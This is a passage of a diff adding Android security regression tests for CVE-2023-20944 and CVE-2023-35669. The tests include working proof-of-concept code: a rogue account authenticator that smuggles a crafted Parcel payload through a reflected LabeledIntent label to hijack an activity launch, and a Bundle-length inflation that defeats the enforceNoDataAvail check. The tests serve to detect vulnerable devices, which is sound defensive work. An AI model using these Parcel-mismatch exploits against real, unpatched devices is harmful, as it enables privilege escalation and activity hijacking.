+ int innerBundleLengthPos = p.dataPosition();
+ p.writeBundle(options);
+ int endOffset = p.dataPosition();
+ // END data
+
+ // Expand inner Bundle to defeat enforceNoDataAvail check
+ p.setDataPosition(innerBundleLengthPos);
+ int innerBundleLength = p.readInt();
+ p.setDataPosition(innerBundleLengthPos);
+
+ // To fully consume the Parcel data and to avoid BadParcelableException, 72 is added in
+ // innerBundleLength
+ p.writeInt(innerBundleLength + 72);
+
+ // Fix PersistableBundle length
+ p.setDataPosition(0);
+ p.writeInt(endOffset - startOffset);
+
+ // Read result as PersistableBundle
+ p.setDataPosition(0);
+ PersistableBundle wrapperBundle = p.readPersistableBundle();
+ p.recycle();
+
+ // Make a CharSequence
+ SpannableString spannableString = new SpannableString(getString(R.string.spannableString));
+ spannableString.setSpan(new TtsSpan("", wrapperBundle), 0, 0, 0);
+ return spannableString;
+ }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2023-20944/test-app/src/android/security/cts/CVE_2023_20944_test/PocAuthService.java b/hostsidetests/securitybulletin/test-apps/CVE-2023-20944/test-app/src/android/security/cts/CVE_2023_20944_test/PocAuthService.java
new file mode 100644
index 00000000000..389ede261d4
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2023-20944/test-app/src/android/security/cts/CVE_2023_20944_test/PocAuthService.java
@@ -0,0 +1,85 @@
+/*
+ * Copyright (C) 2023 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2023_20944_test;
+
+import android.accounts.AbstractAccountAuthenticator;
+import android.accounts.Account;
+import android.accounts.AccountAuthenticatorResponse;
+import android.accounts.NetworkErrorException;
+import android.app.Service;
+import android.content.Context;
+import android.content.Intent;
+import android.os.Bundle;
+import android.os.IBinder;
+
+// Authenticator returning {@link #addAccountResponse} when addAccount operation is requested
+
+public class PocAuthService extends Service {
+ static Bundle sAddAccountResponse;
+
+ @Override
+ public IBinder onBind(Intent intent) {
+ return new PocAuthenticator(this).getIBinder();
+ }
+
+ private static class PocAuthenticator extends AbstractAccountAuthenticator {
+ @Override
+ public Bundle addAccount(AccountAuthenticatorResponse response, String accountType,
+ String authTokenType, String[] requiredFeatures, Bundle options)
+ throws NetworkErrorException {
+ return sAddAccountResponse;
+ }
+
+ PocAuthenticator(Context context) {
+ super(context);
+ }
+
+ @Override
+ public Bundle editProperties(AccountAuthenticatorResponse response, String accountType) {
+ return null;
+ }
+
+ @Override
+ public Bundle confirmCredentials(AccountAuthenticatorResponse response, Account account,
+ Bundle options) throws NetworkErrorException {
+ return null;
+ }
+
+ @Override
+ public Bundle getAuthToken(AccountAuthenticatorResponse response, Account account,
+ String authTokenType, Bundle options) throws NetworkErrorException {
+ return null;
+ }
+
+ @Override
+ public String getAuthTokenLabel(String authTokenType) {
+ return null;
+ }
+
+ @Override
+ public Bundle updateCredentials(AccountAuthenticatorResponse response, Account account,
+ String authTokenType, Bundle options) throws NetworkErrorException {
+ return null;
+ }
+
+ @Override
+ public Bundle hasFeatures(AccountAuthenticatorResponse response, Account account,
+ String[] features) throws NetworkErrorException {
+ return null;
+ }
+ }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2023-35669/Android.bp b/hostsidetests/securitybulletin/test-apps/CVE-2023-35669/Android.bp
new file mode 100644
index 00000000000..ccb0a70b383
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2023-35669/Android.bp
@@ -0,0 +1,59 @@
+/*
+ * Copyright (C) 2023 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+package {
+ default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+android_test_helper_app {
+ name: "CVE-2023-35669-target",
+ defaults: [
+ "cts_support_defaults",
+ ],
+ srcs: [
+ "target-app/src/**/*.java",
+ ],
+ test_suites: [
+ "sts",
+ ],
+ manifest: "target-app/AndroidManifest.xml",
+}
+
+android_test_helper_app {
+ name: "CVE-2023-35669-test",
+ defaults: [
+ "cts_support_defaults",
+ ],
+ srcs: [
+ "test-app/src/**/*.java",
+ ],
+ test_suites: [
+ "sts",
+ ],
+ static_libs: [
+ "androidx.test.core",
+ "androidx.test.rules",
+ "androidx.test.uiautomator_uiautomator",
+ "compatibility-device-util-axt",
+ ],
+ manifest: "test-app/AndroidManifest.xml",
+ resource_dirs: [
+ "res",
+ "test-app/res",
+ ],
+ platform_apis: true,
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2023-35669/res/values/strings.xml b/hostsidetests/securitybulletin/test-apps/CVE-2023-35669/res/values/strings.xml
new file mode 100644
index 00000000000..1dd70320bf6
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2023-35669/res/values/strings.xml
@@ -0,0 +1,40 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ Copyright 2023 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+ -->
+
+<resources>
+ <string name="accountName">TestAccount</string>
+ <string name="accountType">testevilaccount</string>
+ <string name="actionTarget">actionTarget</string>
+ <string name="activityTarget">android.security.cts.CVE_2023_35669_target.TargetActivity</string>
+ <string name="app_name">CVE_2023_35669</string>
+ <string name="bcastActionTarget">CVE_2023_35669_TargetActivity</string>
+ <string name="fieldName">mNonLocalizedLabel</string>
+ <string name="isVulnerable">isVulnerable</string>
+ <string name="launchTaskId">android.activity.launchTaskId</string>
+ <string name="msgFailure">Device is vulnerable to b/265798288 !!</string>
+ <string name="noExceptionMsg">no exception</string>
+ <string name="objectNotFound">%1$s account not found</string>
+ <string name="password">password</string>
+ <string name="pkgTarget">android.security.cts.CVE_2023_35669_target</string>
+ <string name="pocActivityStatus">status</string>
+ <string name="pocCrashedMsg">PocActivity crashed with exception: %s</string>
+ <string name="pocFailedMsg">pocActivity failed</string>
+ <string name="removeAccount">REMOVE ACCOUNT</string>
+ <string name="spannableString">A</string>
+ <string name="targetFailMsg">TargetActivity did not launch successfully</string>
+ <string name="taskId">taskId</string>
+</resources>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2023-35669/target-app/AndroidManifest.xml b/hostsidetests/securitybulletin/test-apps/CVE-2023-35669/target-app/AndroidManifest.xml
new file mode 100644
index 00000000000..8188feb4bfe
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2023-35669/target-app/AndroidManifest.xml
@@ -0,0 +1,27 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ Copyright (C) 2023 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ package="android.security.cts.CVE_2023_35669_target">
+
+ <application>
+ <activity
+ android:name=".TargetActivity"
+ android:exported="true" />
+ </application>
+
+</manifest>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2023-35669/target-app/src/android/security/cts/CVE_2023_35669_target/TargetActivity.java b/hostsidetests/securitybulletin/test-apps/CVE-2023-35669/target-app/src/android/security/cts/CVE_2023_35669_target/TargetActivity.java
new file mode 100644
index 00000000000..d8c3536c2cb
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2023-35669/target-app/src/android/security/cts/CVE_2023_35669_target/TargetActivity.java
@@ -0,0 +1,32 @@
+/*
+ * Copyright (C) 2023 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2023_35669_target;
+
+import android.app.Activity;
+import android.content.Intent;
+
+public class TargetActivity extends Activity {
+
+ @Override
+ protected void onResume() {
+ super.onResume();
+ sendBroadcast(
+ new Intent(getString(R.string.bcastActionTarget))
+ .putExtra(getString(R.string.actionTarget), true)
+ .putExtra(getString(R.string.taskId), getTaskId()));
+ }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2023-35669/test-app/AndroidManifest.xml b/hostsidetests/securitybulletin/test-apps/CVE-2023-35669/test-app/AndroidManifest.xml
new file mode 100644
index 00000000000..ea241917035
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2023-35669/test-app/AndroidManifest.xml
@@ -0,0 +1,41 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ Copyright 2023 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ package="android.security.cts.CVE_2023_35669_test">
+
+ <application>
+ <activity android:name=".HijackActivity" />
+
+ <service
+ android:name=".PocAuthService"
+ android:exported="true">
+ <intent-filter>
+ <action android:name="android.accounts.AccountAuthenticator" />
+ </intent-filter>
+ <meta-data
+ android:name="android.accounts.AccountAuthenticator"
+ android:resource="@xml/authenticator" />
+ </service>
+
+ <activity android:name=".PocActivity" />
+ </application>
+
+ <instrumentation
+ android:name="androidx.test.runner.AndroidJUnitRunner"
+ android:targetPackage="android.security.cts.CVE_2023_35669_test" />
+</manifest>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2023-35669/test-app/res/xml/authenticator.xml b/hostsidetests/securitybulletin/test-apps/CVE-2023-35669/test-app/res/xml/authenticator.xml
new file mode 100644
index 00000000000..a4906cb5c68
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2023-35669/test-app/res/xml/authenticator.xml
@@ -0,0 +1,20 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ Copyright 2023 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+ -->
+
+<account-authenticator xmlns:android="http://schemas.android.com/apk/res/android"
+ android:accountType="testevilaccount"
+ android:label="@string/app_name"/>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2023-35669/test-app/src/android/security/cts/CVE_2023_35669_test/DeviceTest.java b/hostsidetests/securitybulletin/test-apps/CVE-2023-35669/test-app/src/android/security/cts/CVE_2023_35669_test/DeviceTest.java
new file mode 100644
index 00000000000..026aa574be6
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2023-35669/test-app/src/android/security/cts/CVE_2023_35669_test/DeviceTest.java
@@ -0,0 +1,158 @@
+/*
+ * Copyright (C) 2023 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2023_35669_test;
+
+import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation;
+
+import static com.android.compatibility.common.util.SystemUtil.runWithShellPermissionIdentity;
+
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assume.assumeNoException;
+import static org.junit.Assume.assumeNotNull;
+import static org.junit.Assume.assumeTrue;
+
+import android.app.Instrumentation;
+import android.content.BroadcastReceiver;
+import android.content.Context;
+import android.content.Intent;
+import android.content.IntentFilter;
+
+import androidx.test.runner.AndroidJUnit4;
+import androidx.test.uiautomator.By;
+import androidx.test.uiautomator.BySelector;
+import androidx.test.uiautomator.UiDevice;
+import androidx.test.uiautomator.UiObject2;
+import androidx.test.uiautomator.Until;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.concurrent.Semaphore;
+import java.util.concurrent.TimeUnit;
+import java.util.regex.Pattern;
+
+@RunWith(AndroidJUnit4.class)
+public class DeviceTest {
+ private String mPocActivityStatus;
+ public static int sTaskId;
+ public static final int TIMEOUT_MS = 5000;
+
+ @Test
+ public void testCVE_2023_35669() {
+ try {
+ Instrumentation instrumentation = getInstrumentation();
+ Context context = instrumentation.getContext();
+ runWithShellPermissionIdentity(
+ () -> {
+ // Registering a receiver here to wait for broadcast
+ final Semaphore targetReturn = new Semaphore(0);
+ final Semaphore hijackReturn = new Semaphore(0);
+ final Semaphore pocReturn = new Semaphore(0);
+ BroadcastReceiver broadcastReceiver =
+ new BroadcastReceiver() {
+ @Override
+ public void onReceive(Context context, Intent intent) {
+ try {
+ // Wait for TargetActivity to get launched
+ if (intent.getBooleanExtra(
+ context.getString(R.string.actionTarget),
+ false)) {
+ // Fetch taskId
+ sTaskId =
+ intent.getIntExtra(
+ context.getString(R.string.taskId),
+ -1);
+ if (sTaskId != -1) {
+ targetReturn.release();
+ }
+ }
+
+ // Wait for HijackActivity to get launched
+ if (intent.getBooleanExtra(
+ context.getString(R.string.isVulnerable),
+ false)) {
+ hijackReturn.release();
+ }
+
+ // Wait for PocActivity to get launched
+ mPocActivityStatus =
+ intent.getStringExtra(
+ context.getString(
+ R.string.pocActivityStatus));
+ if (mPocActivityStatus != null) {
+ pocReturn.release();
+ }
+ } catch (Exception ignored) {
+ // ignore any exceptions
+ }
+ }
+ };
+ IntentFilter filter =
+ new IntentFilter(context.getString(R.string.bcastActionTarget));
+ context.registerReceiver(broadcastReceiver, filter);
+
+ // Start TargetActivity
+ context.startActivity(
+ new Intent(Intent.ACTION_MAIN)
+ .setClassName(
+ context.getString(R.string.pkgTarget),
+ context.getString(R.string.activityTarget))
+ .setFlags(Intent.FLAG_ACTIVITY_NEW_TASK));
+ assumeTrue(
+ context.getString(R.string.targetFailMsg),
+ targetReturn.tryAcquire(TIMEOUT_MS, TimeUnit.MILLISECONDS));
+
+ // Start PocActivity
+ context.startActivity(
+ new Intent(context, PocActivity.class)
+ .setFlags(Intent.FLAG_ACTIVITY_NEW_TASK));
+ assumeTrue(
+ context.getString(R.string.pocFailedMsg),
+ pocReturn.tryAcquire(TIMEOUT_MS, TimeUnit.MILLISECONDS));
+ assumeTrue(
+ context.getString(R.string.pocCrashedMsg, mPocActivityStatus),
+ mPocActivityStatus.equals(
+ context.getString(R.string.noExceptionMsg)));
+
+ // Wait for account name to appear on display and then click
+ UiDevice uiDevice = UiDevice.getInstance(instrumentation);
+ clickObject(context, uiDevice, context.getString(R.string.accountName));
+
+ // Click on 'Remove Account' button
+ clickObject(context, uiDevice, context.getString(R.string.removeAccount));
+
+ // Click on 'Remove Account' popup to confirm account removal
+ clickObject(context, uiDevice, context.getString(R.string.removeAccount));
+
+ // On vulnerable device, HijackActivity will be launched and the test fails
+ assertFalse(
+ context.getString(R.string.msgFailure),
+ hijackReturn.tryAcquire(TIMEOUT_MS, TimeUnit.MILLISECONDS));
+ });
+ } catch (Exception e) {
+ assumeNoException(e);
+ }
+ }
+
+ public void clickObject(Context context, UiDevice uiDevice, String objectName) {
+ Pattern activityPattern = Pattern.compile(objectName, Pattern.CASE_INSENSITIVE);
+ BySelector removeAccountSelector = By.text(activityPattern);
+ UiObject2 uiObject = uiDevice.wait(Until.findObject(removeAccountSelector), TIMEOUT_MS);
+ assumeNotNull(context.getString(R.string.objectNotFound, objectName), uiObject);
+ uiObject.click();
+ }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2023-35669/test-app/src/android/security/cts/CVE_2023_35669_test/HijackActivity.java b/hostsidetests/securitybulletin/test-apps/CVE-2023-35669/test-app/src/android/security/cts/CVE_2023_35669_test/HijackActivity.java
new file mode 100644
index 00000000000..cbc869fa35a
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2023-35669/test-app/src/android/security/cts/CVE_2023_35669_test/HijackActivity.java
@@ -0,0 +1,35 @@
+/*
+ * Copyright (C) 2023 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2023_35669_test;
+
+import android.app.Activity;
+import android.content.Intent;
+
+public class HijackActivity extends Activity {
+
+ @Override
+ public void onResume() {
+ try {
+ super.onResume();
+ sendBroadcast(
+ new Intent(getString(R.string.bcastActionTarget))
+ .putExtra(getString(R.string.isVulnerable), true));
+ } catch (Exception ignored) {
+ // Ignoring exceptions here
+ }
+ }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2023-35669/test-app/src/android/security/cts/CVE_2023_35669_test/PocActivity.java b/hostsidetests/securitybulletin/test-apps/CVE-2023-35669/test-app/src/android/security/cts/CVE_2023_35669_test/PocActivity.java
new file mode 100644
index 00000000000..48cec739a9e
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2023-35669/test-app/src/android/security/cts/CVE_2023_35669_test/PocActivity.java
@@ -0,0 +1,59 @@
+/*
+ * Copyright (C) 2023 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2023_35669_test;
+
+import android.accounts.Account;
+import android.accounts.AccountManager;
+import android.app.Activity;
+import android.content.Intent;
+import android.os.Bundle;
+import android.provider.Settings;
+
+public class PocActivity extends Activity {
+
+ @Override
+ public void onResume() {
+ try {
+ super.onResume();
+
+ // Adding account
+ getSystemService(AccountManager.class)
+ .addAccountExplicitly(
+ new Account(
+ getString(R.string.accountName),
+ getString(R.string.accountType)),
+ getString(R.string.password),
+ new Bundle());
+
+ // Show settings to allow configuration of sync settings
+ startActivity(new Intent(Settings.ACTION_SYNC_SETTINGS));
+ sendBroadcast(
+ new Intent(getString(R.string.bcastActionTarget))
+ .putExtra(
+ getString(R.string.pocActivityStatus),
+ getString(R.string.noExceptionMsg)));
+ } catch (Exception e) {
+ try {
+ sendBroadcast(
+ new Intent(getString(R.string.bcastActionTarget))
+ .putExtra(getString(R.string.pocActivityStatus), e.getMessage()));
+ } catch (Exception ignored) {
+ // Ignore any exceptions
+ }
+ }
+ }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2023-35669/test-app/src/android/security/cts/CVE_2023_35669_test/PocAuthService.java b/hostsidetests/securitybulletin/test-apps/CVE-2023-35669/test-app/src/android/security/cts/CVE_2023_35669_test/PocAuthService.java
new file mode 100644
index 00000000000..4cdf4e5579a
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2023-35669/test-app/src/android/security/cts/CVE_2023_35669_test/PocAuthService.java
@@ -0,0 +1,177 @@
+/*
+ * Copyright (C) 2023 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2023_35669_test;
+
+import android.accounts.AbstractAccountAuthenticator;
+import android.accounts.Account;
+import android.accounts.AccountAuthenticatorResponse;
+import android.accounts.AccountManager;
+import android.accounts.NetworkErrorException;
+import android.app.Service;
+import android.content.Context;
+import android.content.Intent;
+import android.content.pm.LabeledIntent;
+import android.os.Bundle;
+import android.os.IBinder;
+import android.os.Parcel;
+import android.text.SpannableString;
+import android.text.style.URLSpan;
+
+import java.lang.reflect.Field;
+import java.nio.charset.StandardCharsets;
+
+public class PocAuthService extends Service {
+
+ private Bundle createResultBundle() {
+ try {
+ Bundle result = new Bundle();
+ result.putString(AccountManager.KEY_ACCOUNT_NAME, "testevilaccountname");
+ result.putString(AccountManager.KEY_ACCOUNT_TYPE, "testevilaccount");
+ result.putString(AccountManager.KEY_AUTHTOKEN, "mockAuthToken");
+ return result;
+ } catch (Exception ignored) {
+ // Ignore any exceptions
+ }
+ return null;
+ }
+
+ public PocAuthService() {}
+
+ @Override
+ public IBinder onBind(Intent intent) {
+ return new TestAccountAuthenticator(this).getIBinder();
+ }
+
+ class TestAccountAuthenticator extends AbstractAccountAuthenticator {
+
+ public TestAccountAuthenticator(Context context) {
+ super(context);
+ }
+
+ @Override
+ public Bundle getAccountRemovalAllowed(
+ AccountAuthenticatorResponse response, Account account)
+ throws NetworkErrorException {
+
+ try {
+ LabeledIntent labeledIntent =
+ new LabeledIntent(
+ new Intent(PocAuthService.this, HijackActivity.class),
+ null /* sourcePackage */,
+ 1 /* labelRes */,
+ 0 /* icon */);
+
+ // Creating parcel to setDataPosition
+ Parcel optionPayload = Parcel.obtain();
+ Bundle evilOptions = new Bundle();
+ evilOptions.putInt(getString(R.string.launchTaskId), DeviceTest.sTaskId);
+ evilOptions.writeToParcel(optionPayload, 0 /* flags */);
+ optionPayload.setDataPosition(0 /* position */);
+ int originLen = optionPayload.readInt();
+ optionPayload.setDataPosition(0 /* position */);
+
+ // Parcel data not fully consumed, unread size : 76
+ optionPayload.writeInt(originLen + 76);
+
+ // Creating parcel to create URLSpan
+ Parcel payload = Parcel.obtain();
+ payload.writeString(null /* resultWho */);
+ payload.writeInt(-1 /* requestCode */);
+ payload.writeInt(0 /* flags */);
+ payload.writeTypedObject(null, 0 /* profilerInfo */);
+ payload.writeInt(1 /* value */);
+ payload.appendFrom(optionPayload, 0 /* offset */, optionPayload.dataSize());
+
+ SpannableString spannableString =
+ new SpannableString(getString(R.string.spannableString));
+ spannableString.setSpan(
+ new URLSpan(new String(payload.marshall(), StandardCharsets.UTF_16LE)),
+ 0 /* start */,
+ 0 /* end */,
+ 0 /* flags */);
+
+ // Setting labeledIntent using refelection
+ Field nonLocalizedLabelField =
+ LabeledIntent.class.getDeclaredField(getString(R.string.fieldName));
+ nonLocalizedLabelField.setAccessible(true);
+ nonLocalizedLabelField.set(labeledIntent, spannableString);
+
+ Bundle result = new Bundle();
+ result.putParcelable(AccountManager.KEY_INTENT, labeledIntent);
+ return result;
+ } catch (Exception ignored) {
+ // Ignore any exceptions
+ }
+ return null;
+ }
+
+ @Override
+ public Bundle editProperties(AccountAuthenticatorResponse response, String accountType) {
+ return createResultBundle();
+ }
+
+ @Override
+ public Bundle addAccount(
+ AccountAuthenticatorResponse response,
+ String accountType,
+ String authTokenType,
+ String[] requiredFeatures,
+ Bundle options)
+ throws NetworkErrorException {
+ return createResultBundle();
+ }
+
+ @Override
+ public Bundle confirmCredentials(
+ AccountAuthenticatorResponse response, Account account, Bundle options)
+ throws NetworkErrorException {
+ return createResultBundle();
+ }
+
+ @Override
+ public Bundle getAuthToken(
+ AccountAuthenticatorResponse response,
+ Account account,
+ String authTokenType,
+ Bundle options)
+ throws NetworkErrorException {
+ return createResultBundle();
+ }
+
+ @Override
+ public String getAuthTokenLabel(String authTokenType) {
+ return "mockAuthTokenLabel";
+ }
+
+ @Override
+ public Bundle updateCredentials(
+ AccountAuthenticatorResponse response,
+ Account account,
+ String authTokenType,
+ Bundle options)
+ throws NetworkErrorException {
+ return createResultBundle();
+ }
+
+ @Override
+ public Bundle hasFeatures(
+ AccountAuthenticatorResponse response, Account account, String[] features)
+ throws NetworkErrorException {
+ return createResultBundle();
+ }
+ }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2023-40120/src/android/security/cts/CVE_2023_40120/DeviceTest.java b/hostsidetests/securitybulletin/test-apps/CVE-2023-40120/src/android/security/cts/CVE_2023_40120/DeviceTest.java
index c399df5708d..c0c1ce514df 100644
--- a/hostsidetests/securitybulletin/test-apps/CVE-2023-40120/src/android/security/cts/CVE_2023_40120/DeviceTest.java
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2023-40120/src/android/security/cts/CVE_2023_40120/DeviceTest.java
@@ -25,8 +25,6 @@ import static com.android.sts.common.SystemUtil.poll;
import static com.google.common.truth.Truth.assertWithMessage;
import static com.google.common.truth.TruthJUnit.assume;
-import static org.junit.Assume.assumeNoException;
-
import android.app.Instrumentation;
import android.app.Notification;
import android.app.NotificationChannel;
@@ -144,7 +142,7 @@ public class DeviceTest {
.that(headerTitleObj == null || headerTitleObj.getText() == null)
.isFalse();
} catch (Exception e) {
- assumeNoException(e);
+ assume().that(e).isNull();
}
}
}
diff --git a/tests/PhotoPicker/src/android/photopicker/cts/ActionGetContentOnlyTest.java b/tests/PhotoPicker/src/android/photopicker/cts/ActionGetContentOnlyTest.java
index 227b4c6fa16..25e8ebdfb40 100644
--- a/tests/PhotoPicker/src/android/photopicker/cts/ActionGetContentOnlyTest.java
+++ b/tests/PhotoPicker/src/android/photopicker/cts/ActionGetContentOnlyTest.java
@@ -16,10 +16,11 @@
package android.photopicker.cts;
-import static android.photopicker.cts.util.GetContentActivityAliasUtils.clearPackageData;
-import static android.photopicker.cts.util.GetContentActivityAliasUtils.getDocumentsUiPackageName;
+import static android.photopicker.cts.util.PhotoPickerComponentUtils.GET_CONTENT_ACTIVITY_COMPONENT;
import static android.photopicker.cts.util.PhotoPickerFilesUtils.createImagesAndGetUriAndPath;
import static android.photopicker.cts.util.PhotoPickerFilesUtils.deleteMedia;
+import static android.photopicker.cts.util.PhotoPickerPackageUtils.clearPackageData;
+import static android.photopicker.cts.util.PhotoPickerPackageUtils.getDocumentsUiPackageName;
import static android.photopicker.cts.util.PhotoPickerUiUtils.SHORT_TIMEOUT;
import static android.photopicker.cts.util.PhotoPickerUiUtils.clickAndWait;
import static android.photopicker.cts.util.PhotoPickerUiUtils.findAndClickBrowse;
@@ -31,7 +32,7 @@ import static com.google.common.truth.Truth.assertWithMessage;
import android.content.ClipData;
import android.content.Intent;
import android.net.Uri;
-import android.photopicker.cts.util.GetContentActivityAliasUtils;
+import android.photopicker.cts.util.PhotoPickerComponentUtils;
import android.photopicker.cts.util.UiAssertionUtils;
import android.util.Pair;
@@ -71,7 +72,8 @@ public class ActionGetContentOnlyTest extends PhotoPickerBaseTest {
mActivity.finish();
}
- GetContentActivityAliasUtils.restoreState(sGetContentTakeOverActivityAliasState);
+ PhotoPickerComponentUtils.setState(GET_CONTENT_ACTIVITY_COMPONENT,
+ sGetContentTakeOverActivityAliasState);
}
@Before
@@ -79,7 +81,8 @@ public class ActionGetContentOnlyTest extends PhotoPickerBaseTest {
super.setUp();
sDocumentsUiPackageName = getDocumentsUiPackageName();
- sGetContentTakeOverActivityAliasState = GetContentActivityAliasUtils.enableAndGetOldState();
+ sGetContentTakeOverActivityAliasState = PhotoPickerComponentUtils
+ .enableAndGetOldState(GET_CONTENT_ACTIVITY_COMPONENT);
clearPackageData(sDocumentsUiPackageName);
}
@@ -175,7 +178,7 @@ public class ActionGetContentOnlyTest extends PhotoPickerBaseTest {
mActivity.startActivityForResult(Intent.createChooser(intent, TAG), REQUEST_CODE);
// Should open Picker
- UiAssertionUtils.assertThatShowsPickerUi();
